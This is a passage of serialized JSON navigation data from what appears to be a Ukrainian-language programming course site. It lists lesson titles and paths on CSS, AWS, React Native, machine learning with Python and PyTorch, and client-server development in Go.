препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3396,"path":3397,"stem":3398},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3400,"path":3401,"stem":3402},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3404,"path":3405,"stem":3406},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3408,"path":3409,"stem":3410},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3412,"path":3413,"stem":3414},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3416,"path":3417,"stem":3418,"children":3419,"page":59},"AWS","\u002Faws","13.aws",[3420,3424,3428,3432,3436,3440,3444,3448,3452,3456,3460,3464,3468,3472,3476,3480,3484,3488],{"title":3421,"path":3422,"stem":3423},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3425,"path":3426,"stem":3427},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3429,"path":3430,"stem":3431},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3433,"path":3434,"stem":3435},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3437,"path":3438,"stem":3439},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3441,"path":3442,"stem":3443},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3445,"path":3446,"stem":3447},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3449,"path":3450,"stem":3451},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3453,"path":3454,"stem":3455},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3457,"path":3458,"stem":3459},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3461,"path":3462,"stem":3463},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3465,"path":3466,"stem":3467},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3469,"path":3470,"stem":3471},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3473,"path":3474,"stem":3475},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3477,"path":3478,"stem":3479},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3481,"path":3482,"stem":3483},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3485,"path":3486,"stem":3487},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3489,"path":3490,"stem":3491},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3493,"path":3494,"stem":3495,"children":3496,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3497],{"title":3498,"path":3499,"stem":3500,"children":3501,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3502],{"title":3503,"path":3504,"stem":3505},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3507,"path":3508,"stem":3509,"children":3510,"page":59},"React Native","\u002Freact-native","15.react-native",[3511,3532],{"title":3512,"path":3513,"stem":3514,"children":3515,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3516,3520,3524,3528],{"title":3517,"path":3518,"stem":3519},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3521,"path":3522,"stem":3523},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3525,"path":3526,"stem":3527},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3529,"path":3530,"stem":3531},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3533,"path":3534,"stem":3535,"children":3536,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3537,3541,3545,3549,3553,3557,3561,3565,3569,3573,3577,3581,3585,3589,3593,3597,3601,3605,3609,3613,3617,3621,3625,3629,3633,3637,3641],{"title":3538,"path":3539,"stem":3540},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3542,"path":3543,"stem":3544},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3546,"path":3547,"stem":3548},"Expo і класичний React Native — два шляхи одного фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3550,"path":3551,"stem":3552},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3554,"path":3555,"stem":3556},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3558,"path":3559,"stem":3560},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3562,"path":3563,"stem":3564},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3566,"path":3567,"stem":3568},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3570,"path":3571,"stem":3572},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3574,"path":3575,"stem":3576},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3578,"path":3579,"stem":3580},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3582,"path":3583,"stem":3584},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3586,"path":3587,"stem":3588},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3590,"path":3591,"stem":3592},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3594,"path":3595,"stem":3596},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3598,"path":3599,"stem":3600},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3602,"path":3603,"stem":3604},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3606,"path":3607,"stem":3608},"Локальне сховище — AsyncStorage, MMKV, SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3610,"path":3611,"stem":3612},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3614,"path":3615,"stem":3616},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3618,"path":3619,"stem":3620},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3622,"path":3623,"stem":3624},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3626,"path":3627,"stem":3628},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3630,"path":3631,"stem":3632},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3634,"path":3635,"stem":3636},"Інтернаціоналізація та доступність","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3638,"path":3639,"stem":3640},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3642,"path":3643,"stem":3644},"Публікація в App Store та Google Play","\u002Freact-native\u002Fversion2\u002Fapp-store-play-release","15.react-native\u002Fversion2\u002F30.app-store-play-release",{"title":3646,"path":3647,"stem":3648,"children":3649,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3650,3659,3668,3677,3706,3732,3757,3790,3807,3820,3829,3842,3851,3872,3885,3906],{"title":3651,"path":3652,"stem":3653,"children":3654,"page":59},"Intro To Ai","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",[3655],{"title":3656,"path":3657,"stem":3658},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai\u002F01.intro-to-ai",{"title":3660,"path":3661,"stem":3662,"children":3663,"page":59},"Jupyter Notebook","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",[3664],{"title":3665,"path":3666,"stem":3667},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook\u002F02.jupyter-notebook",{"title":3669,"path":3670,"stem":3671,"children":3672,"page":59},"Numpy Pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",[3673],{"title":3674,"path":3675,"stem":3676},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas\u002F03.numpy-pandas",{"title":3678,"path":3679,"stem":3680,"children":3681,"page":59},"Statistics Basics","\u002Fai-python\u002Fstatistics-basics","16.ai-python\u002F04.statistics-basics",[3682,3686,3690,3694,3698,3702],{"title":3683,"path":3684,"stem":3685},"Випадкові величини та їх типи","\u002Fai-python\u002Fstatistics-basics\u002Frandom-variables","16.ai-python\u002F04.statistics-basics\u002F01.random-variables",{"title":3687,"path":3688,"stem":3689},"Міри центральної тенденції","\u002Fai-python\u002Fstatistics-basics\u002Fcentral-tendency","16.ai-python\u002F04.statistics-basics\u002F02.central-tendency",{"title":3691,"path":3692,"stem":3693},"Міри варіації (розсіювання)","\u002Fai-python\u002Fstatistics-basics\u002Fvariability","16.ai-python\u002F04.statistics-basics\u002F03.variability",{"title":3695,"path":3696,"stem":3697},"Розподіли випадкових величин","\u002Fai-python\u002Fstatistics-basics\u002Fdistributions","16.ai-python\u002F04.statistics-basics\u002F04.distributions",{"title":3699,"path":3700,"stem":3701},"Кореляція та взаємозв'язки","\u002Fai-python\u002Fstatistics-basics\u002Fcorrelation","16.ai-python\u002F04.statistics-basics\u002F05.correlation",{"title":3703,"path":3704,"stem":3705},"Викиди та аномалії","\u002Fai-python\u002Fstatistics-basics\u002Foutliers","16.ai-python\u002F04.statistics-basics\u002F06.outliers",{"title":3707,"path":3708,"stem":3709,"children":3710},"Візуалізація даних за допомогою matplotlib","\u002Fai-python\u002Fdata-visualization","16.ai-python\u002F05.data-visualization\u002Findex",[3711,3712,3716,3720,3724,3728],{"title":3707,"path":3708,"stem":3709},{"title":3713,"path":3714,"stem":3715},"Основи matplotlib — Figure, Axes та перший графік","\u002Fai-python\u002Fdata-visualization\u002Fmatplotlib-basics","16.ai-python\u002F05.data-visualization\u002F01.matplotlib-basics",{"title":3717,"path":3718,"stem":3719},"Візуалізація розподілів — гістограми та box plots","\u002Fai-python\u002Fdata-visualization\u002Fdistributions","16.ai-python\u002F05.data-visualization\u002F02.distributions",{"title":3721,"path":3722,"stem":3723},"Візуалізація залежностей — scatter plots та кореляція","\u002Fai-python\u002Fdata-visualization\u002Frelationships","16.ai-python\u002F05.data-visualization\u002F03.relationships",{"title":3725,"path":3726,"stem":3727},"Візуалізація категоріальних даних — bar charts та pie charts","\u002Fai-python\u002Fdata-visualization\u002Fcategorical","16.ai-python\u002F05.data-visualization\u002F04.categorical",{"title":3729,"path":3730,"stem":3731},"Композиції та стилізація — subplots та багатопанельні дашборди","\u002Fai-python\u002Fdata-visualization\u002Fsubplots-styling","16.ai-python\u002F05.data-visualization\u002F05.subplots-styling",{"title":3733,"path":3734,"stem":3735,"children":3736,"page":59},"Linear Regression","\u002Fai-python\u002Flinear-regression","16.ai-python\u002F06.linear-regression",[3737,3741,3745,3749,3753],{"title":3738,"path":3739,"stem":3740},"Регресійна задача та лінійна регресія з однією змінною","\u002Fai-python\u002Flinear-regression\u002Fregression-task","16.ai-python\u002F06.linear-regression\u002F01.regression-task",{"title":3742,"path":3743,"stem":3744},"Метрики якості регресії — як оцінити модель","\u002Fai-python\u002Flinear-regression\u002Fquality-metrics","16.ai-python\u002F06.linear-regression\u002F02.quality-metrics",{"title":3746,"path":3747,"stem":3748},"Градієнтний спуск — як модель навчається","\u002Fai-python\u002Flinear-regression\u002Fgradient-descent","16.ai-python\u002F06.linear-regression\u002F03.gradient-descent",{"title":3750,"path":3751,"stem":3752},"Множинна лінійна регресія — модель з багатьма ознаками","\u002Fai-python\u002Flinear-regression\u002Fmultiple-regression","16.ai-python\u002F06.linear-regression\u002F04.multiple-regression",{"title":3754,"path":3755,"stem":3756},"Практичні завдання та резюме модуля","\u002Fai-python\u002Flinear-regression\u002Fpractice","16.ai-python\u002F06.linear-regression\u002F05.practice",{"title":3758,"path":3759,"stem":3760,"children":3761,"page":59},"Practical Regression","\u002Fai-python\u002Fpractical-regression","16.ai-python\u002F07.practical-regression",[3762,3766,3770,3774,3778,3782,3786],{"title":3763,"path":3764,"stem":3765},"Знайомство з scikit-learn","\u002Fai-python\u002Fpractical-regression\u002Fintro-scikit-learn","16.ai-python\u002F07.practical-regression\u002F01.intro-scikit-learn",{"title":3767,"path":3768,"stem":3769},"Exploratory Data Analysis датасету Housing Prices","\u002Fai-python\u002Fpractical-regression\u002Fhousing-dataset-eda","16.ai-python\u002F07.practical-regression\u002F02.housing-dataset-eda",{"title":3771,"path":3772,"stem":3773},"Попередня обробка даних (Data Preprocessing)","\u002Fai-python\u002Fpractical-regression\u002Fdata-preprocessing","16.ai-python\u002F07.practical-regression\u002F03.data-preprocessing",{"title":3775,"path":3776,"stem":3777},"Train\u002FTest Split та перша повноцінна модель","\u002Fai-python\u002Fpractical-regression\u002Ftrain-test-split","16.ai-python\u002F07.practical-regression\u002F04.train-test-split",{"title":3779,"path":3780,"stem":3781},"Перенавчання та недонавчання","\u002Fai-python\u002Fpractical-regression\u002Foverfitting-underfitting","16.ai-python\u002F07.practical-regression\u002F05.overfitting-underfitting",{"title":3783,"path":3784,"stem":3785},"Крос-валідація (Cross-Validation)","\u002Fai-python\u002Fpractical-regression\u002Fcross-validation","16.ai-python\u002F07.practical-regression\u002F06.cross-validation",{"title":3787,"path":3788,"stem":3789},"Гіперпараметри та їх оптимізація","\u002Fai-python\u002Fpractical-regression\u002Fhyperparameter-tuning","16.ai-python\u002F07.practical-regression\u002F07.hyperparameter-tuning",{"title":3791,"path":3792,"stem":3793,"children":3794,"page":59},"Polynomial Regression","\u002Fai-python\u002Fpolynomial-regression","16.ai-python\u002F08.polynomial-regression",[3795,3799,3803],{"title":3796,"path":3797,"stem":3798},"Нелінійні залежності та поліноміальна регресія","\u002Fai-python\u002Fpolynomial-regression\u002Fnonlinear-patterns","16.ai-python\u002F08.polynomial-regression\u002F01.nonlinear-patterns",{"title":3800,"path":3801,"stem":3802},"Регуляризація в регресії — Ridge та Lasso","\u002Fai-python\u002Fpolynomial-regression\u002Fregularization-methods","16.ai-python\u002F08.polynomial-regression\u002F02.regularization-methods",{"title":3804,"path":3805,"stem":3806},"Практика — поліноміальна регресія та регуляризація на Housing Prices","\u002Fai-python\u002Fpolynomial-regression\u002Fhousing-prices-practice","16.ai-python\u002F08.polynomial-regression\u002F03.housing-prices-practice",{"title":3808,"path":3809,"stem":3810,"children":3811,"page":59},"Decision Trees Random Forest","\u002Fai-python\u002Fdecision-trees-random-forest","16.ai-python\u002F09.decision-trees-random-forest",[3812,3816],{"title":3813,"path":3814,"stem":3815},"Дерева рішень — інтерпретабельні моделі машинного навчання","\u002Fai-python\u002Fdecision-trees-random-forest\u002Fdecision-trees","16.ai-python\u002F09.decision-trees-random-forest\u002F01.decision-trees",{"title":3817,"path":3818,"stem":3819},"Random Forest — ансамблі дерев рішень","\u002Fai-python\u002Fdecision-trees-random-forest\u002Frandom-forest","16.ai-python\u002F09.decision-trees-random-forest\u002F02.random-forest",{"title":3821,"path":3822,"stem":3823,"children":3824,"page":59},"Gradient Boosting","\u002Fai-python\u002Fgradient-boosting","16.ai-python\u002F10.gradient-boosting",[3825],{"title":3826,"path":3827,"stem":3828},"Градієнтний бустинг та XGBoost — послідовне виправлення помилок","\u002Fai-python\u002Fgradient-boosting\u002Fgradient-boosting-xgboost","16.ai-python\u002F10.gradient-boosting\u002F01.gradient-boosting-xgboost",{"title":3830,"path":3831,"stem":3832,"children":3833,"page":59},"Logistic Regression Classification","\u002Fai-python\u002Flogistic-regression-classification","16.ai-python\u002F11.logistic-regression-classification",[3834,3838],{"title":3835,"path":3836,"stem":3837},"Вступ до класифікації та логістична регресія","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-basics","16.ai-python\u002F11.logistic-regression-classification\u002F01.classification-basics",{"title":3839,"path":3840,"stem":3841},"Метрики якості класифікації — Confusion Matrix, Precision, Recall, F1","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-metrics","16.ai-python\u002F11.logistic-regression-classification\u002F02.classification-metrics",{"title":3843,"path":3844,"stem":3845,"children":3846,"page":59},"Neural Networks Basics","\u002Fai-python\u002Fneural-networks-basics","16.ai-python\u002F12.neural-networks-basics",[3847],{"title":3848,"path":3849,"stem":3850},"Вступ до нейронних мереж — від персептрона до багатошарових мереж","\u002Fai-python\u002Fneural-networks-basics\u002Fperceptron-to-mlp","16.ai-python\u002F12.neural-networks-basics\u002F01.perceptron-to-mlp",{"title":3852,"path":3853,"stem":3854,"children":3855,"page":59},"Pytorch Intro","\u002Fai-python\u002Fpytorch-intro","16.ai-python\u002F13.pytorch-intro",[3856,3860,3864,3868],{"title":3857,"path":3858,"stem":3859},"Тензори та автоматичне диференціювання в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Ftensors-and-autograd","16.ai-python\u002F13.pytorch-intro\u002F01.tensors-and-autograd",{"title":3861,"path":3862,"stem":3863},"Побудова та тренування нейронних мереж у PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fbuilding-and-training","16.ai-python\u002F13.pytorch-intro\u002F02.building-and-training",{"title":3865,"path":3866,"stem":3867},"Робота з даними та регуляризація в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fdata-and-regularization","16.ai-python\u002F13.pytorch-intro\u002F03.data-and-regularization",{"title":3869,"path":3870,"stem":3871},"Просунуті теми PyTorch — GPU, оптимізація та deployment","\u002Fai-python\u002Fpytorch-intro\u002Fadvanced-topics","16.ai-python\u002F13.pytorch-intro\u002F04.advanced-topics",{"title":3873,"path":3874,"stem":3875,"children":3876,"page":59},"Activation Functions Heart Disease","\u002Fai-python\u002Factivation-functions-heart-disease","16.ai-python\u002F14.activation-functions-heart-disease",[3877,3881],{"title":3878,"path":3879,"stem":3880},"Функції активації та побудова нейронної мережі для передбачення вад серця","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fheart-disease-prediction","16.ai-python\u002F14.activation-functions-heart-disease\u002F01.heart-disease-prediction",{"title":3882,"path":3883,"stem":3884},"Бонус — Повний приклад Student Performance Prediction","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fstudent-performance-bonus","16.ai-python\u002F14.activation-functions-heart-disease\u002F02.student-performance-bonus",{"title":3886,"path":3887,"stem":3888,"children":3889,"page":59},"Cnn Image Classification","\u002Fai-python\u002Fcnn-image-classification","16.ai-python\u002F15.cnn-image-classification",[3890,3894,3898,3902],{"title":3891,"path":3892,"stem":3893},"Основи згорткових нейронних мереж — чому не MLP?","\u002Fai-python\u002Fcnn-image-classification\u002Fcnn-fundamentals","16.ai-python\u002F15.cnn-image-classification\u002F01.cnn-fundamentals",{"title":3895,"path":3896,"stem":3897},"Практична імплементація CNN для класифікації MNIST","\u002Fai-python\u002Fcnn-image-classification\u002Fmnist-classification","16.ai-python\u002F15.cnn-image-classification\u002F02.mnist-classification",{"title":3899,"path":3900,"stem":3901},"Глибші CNN та аугментація даних для CIFAR-10","\u002Fai-python\u002Fcnn-image-classification\u002Fcifar10-and-data-augmentation","16.ai-python\u002F15.cnn-image-classification\u002F03.cifar10-and-data-augmentation",{"title":3903,"path":3904,"stem":3905},"Transfer Learning та візуалізація внутрішніх представлень CNN","\u002Fai-python\u002Fcnn-image-classification\u002Ftransfer-learning-and-visualization","16.ai-python\u002F15.cnn-image-classification\u002F04.transfer-learning-and-visualization",{"title":3907,"path":3908,"stem":3909,"children":3910,"page":59},"Batching Normalization Deep Networks","\u002Fai-python\u002Fbatching-normalization-deep-networks","16.ai-python\u002F16.batching-normalization-deep-networks",[3911,3915,3919,3923,3927,3931,3935],{"title":3912,"path":3913,"stem":3914},"Mini-batch Gradient Descent та ефективна обробка даних","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fmini-batch-gradient-descent","16.ai-python\u002F16.batching-normalization-deep-networks\u002F01.mini-batch-gradient-descent",{"title":3916,"path":3917,"stem":3918},"Ініціалізація ваг — фундамент стабільного навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fweight-initialization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F02.weight-initialization",{"title":3920,"path":3921,"stem":3922},"Batch Normalization — прорив у глибокому навчанні","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fbatch-normalization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F03.batch-normalization",{"title":3924,"path":3925,"stem":3926},"Dropout та комбіновані стратегії регуляризації","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdropout-and-regularization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F04.dropout-and-regularization",{"title":3928,"path":3929,"stem":3930},"Проєктування глибоких мереж — від теорії до практики","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdeep-networks-architectures","16.ai-python\u002F16.batching-normalization-deep-networks\u002F05.deep-networks-architectures",{"title":3932,"path":3933,"stem":3934},"Планування learning rate — коли та як зменшувати крок навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Flearning-rate-scheduling","16.ai-python\u002F16.batching-normalization-deep-networks\u002F06.learning-rate-scheduling",{"title":3936,"path":3937,"stem":3938},"Підсумковий проєкт — побудова сучасного класифікатора зображень","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Ffinal-project-deep-classifier","16.ai-python\u002F16.batching-normalization-deep-networks\u002F07.final-project-deep-classifier",{"title":3940,"icon":658,"path":3941,"stem":3942,"children":3943,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3944,3948,3952,3956,3960,3964,3968,3972,3976,3980,3984,3988,3992,3996,4000,4004,4008,4012],{"title":3945,"path":3946,"stem":3947},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3949,"path":3950,"stem":3951},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3953,"path":3954,"stem":3955},"Інтерфейси та модель конкурентності мови Go","\u002Fclient-server-architecture\u002Finterfaces-and-concurrency-model","17.client-server-architecture\u002F03.interfaces-and-concurrency-model",{"title":3957,"path":3958,"stem":3959},"Сокетне програмування та протокол TCP у Go","\u002Fclient-server-architecture\u002Ftcp-socket-programming","17.client-server-architecture\u002F04.tcp-socket-programming",{"title":3961,"path":3962,"stem":3963},"Протокол UDP та датаграмна передача даних","\u002Fclient-server-architecture\u002Fudp-datagram-transmission","17.client-server-architecture\u002F05.udp-datagram-transmission",{"title":3965,"path":3966,"stem":3967},"Криптографічний захист каналів зв","\u002Fclient-server-architecture\u002Ftls-cryptographic-channel-protection","17.client-server-architecture\u002F06.tls-cryptographic-channel-protection",{"title":3969,"path":3970,"stem":3971},"Прикладні мережеві протоколи DNS та SMTP","\u002Fclient-server-architecture\u002Fdns-smtp-application-protocols","17.client-server-architecture\u002F07.dns-smtp-application-protocols",{"title":3973,"path":3974,"stem":3975},"Протокол HTTP та стандартний вебсервер Go","\u002Fclient-server-architecture\u002Fhttp-protocol-and-web-server","17.client-server-architecture\u002F08.http-protocol-and-web-server",{"title":3977,"path":3978,"stem":3979},"Проєктування REST API та маршрутизація засобами Chi","\u002Fclient-server-architecture\u002Frest-api-design-and-chi-routing","17.client-server-architecture\u002F09.rest-api-design-and-chi-routing",{"title":3981,"path":3982,"stem":3983},"Лекція 10. Шарувата архітектура та конвеєри обробки запитів","\u002Fclient-server-architecture\u002Flayered-architecture-and-middleware-pipelines","17.client-server-architecture\u002F10.layered-architecture-and-middleware-pipelines",{"title":3985,"path":3986,"stem":3987},"Лекція 11. Архітектура та маршрутизація фреймворку Gin","\u002Fclient-server-architecture\u002Fgin-framework-architecture-and-routing","17.client-server-architecture\u002F11.gin-framework-architecture-and-routing",{"title":3989,"path":3990,"stem":3991},"Лекція 12. Валідація даних, безпека та документування у Gin","\u002Fclient-server-architecture\u002Fdata-validation-security-and-documentation-in-gin","17.client-server-architecture\u002F12.data-validation-security-and-documentation-in-gin",{"title":3993,"path":3994,"stem":3995},"Лекція 13. Взаємодія з реляційними СУБД та технології ORM","\u002Fclient-server-architecture\u002Frelational-databases-and-orm","17.client-server-architecture\u002F13.relational-databases-and-orm",{"title":3997,"path":3998,"stem":3999},"Потокова передача даних та протокол WebSocket","\u002Fclient-server-architecture\u002Fstreaming-data-and-websockets","17.client-server-architecture\u002F14.streaming-data-and-websockets",{"title":4001,"path":4002,"stem":4003},"Міжсервісна взаємодія на основі протоколу gRPC","\u002Fclient-server-architecture\u002Fgrpc-inter-service-communication","17.client-server-architecture\u002F15.grpc-inter-service-communication",{"title":4005,"path":4006,"stem":4007},"Асинхронний обмін повідомленнями та протоколи черг","\u002Fclient-server-architecture\u002Fasynchronous-message-exchange-and-queue-protocols","17.client-server-architecture\u002F16.asynchronous-message-exchange-and-queue-protocols",{"title":4009,"path":4010,"stem":4011},"Протоколи потокового медіа та технологія WebRTC","\u002Fclient-server-architecture\u002Fstreaming-media-protocols-and-webrtc","17.client-server-architecture\u002F17.streaming-media-protocols-and-webrtc",{"title":4013,"path":4014,"stem":4015},"Моніторинг, безпека та контейнеризація застосунків","\u002Fclient-server-architecture\u002Fmonitoring-security-and-containerization","17.client-server-architecture\u002F18.monitoring-security-and-containerization",{"title":4017,"icon":2074,"path":4018,"stem":4019,"children":4020,"page":59},"Розробка WEB-застосувань","\u002Fweb-development","18.web-development",[4021,4066,4104,4133,4162,4219,4269,4363,4429,4511,4544,4572,4614,4660,4703],{"title":4022,"icon":658,"path":4023,"stem":4024,"children":4025,"page":59},"Архітектура комп'ютерних мереж та мережеві 